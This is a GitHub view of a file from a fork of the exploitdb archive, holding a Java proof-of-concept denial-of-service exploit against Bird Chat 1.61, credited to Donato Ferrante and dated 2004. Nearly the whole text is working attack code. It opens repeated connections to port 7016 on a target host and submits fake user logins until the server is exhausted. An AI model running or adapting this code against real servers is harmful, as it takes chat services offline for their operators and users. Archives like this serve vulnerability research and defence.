forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path420.java
More file actions
executable file
·130 lines (69 loc) · 2.76 KB
/
Copy path420.java
File metadata and controls
executable file
·130 lines (69 loc) · 2.76 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
/*
Bird Chat 1.61 - Denial Of Service - Proof Of Concept
Coded by: Donato Ferrante
*/
import java.net.Socket;
import java.net.InetAddress;
import java.net.ConnectException;
import java.net.SocketTimeoutException;
import java.io.OutputStream;
import java.io.InputStream;
public class BirdChat161_DoS_poc {
private final static int MAX_CONNECTION = 16;
private final static int PORT = 7016;
private final static String VERSION = "0.1.0";
public static void main(String [] args){
System.out.println(
"\n\nBird Chat 1.61 - Denial Of Service - Proof Of Concept\n" +
"Version: " + VERSION + "\n\n" +
"coded by: Donato Ferrante\n" +
"e-mail: fdonato@autistici.org\n" +
"web: www.autistici.org/fdonato\;n\n"
);
String host = "localhost";
try{
if(args.length != 1)
usage();
host = args[0];
}catch(Exception e){usage();}
try{
int i = 1,
var = 0;
while(i++ <= MAX_CONNECTION){
try{
String err = "";
int port = PORT;
InetAddress addr = InetAddress.getByName(host);
Socket socket = new Socket(addr, port);
socket.setSoTimeout(3000);
InputStream stream = socket.getInputStream();
int line = stream.read();
while(line != -1){
if(line == '?'){
break;
}
line = stream.read();
}
OutputStream outStream = socket.getOutputStream();
outStream.write(("*user=fake_user0" + ++var + "\n").getBytes());
int count = 0;
line = stream.read();
while(true){
line = stream.read();
if(line == '\n')
count++;
if(count >= 3)
break;
}
}catch(SocketTimeoutException ste){break;}
catch(ConnectException ce){System.err.println(ce); continue;}
}
}catch(Exception e){System.err.println(e);}
System.out.println("\nBird Chat - Denial Of Service - Proof_Of_Concept terminated.\n\n");
}
private static void usage(){
System.out.println("Usage: java BirdChat161_DoS_poc <host>\n\n");
System.exit(-1);
}
}
// milw0rm.com [2004-08-26]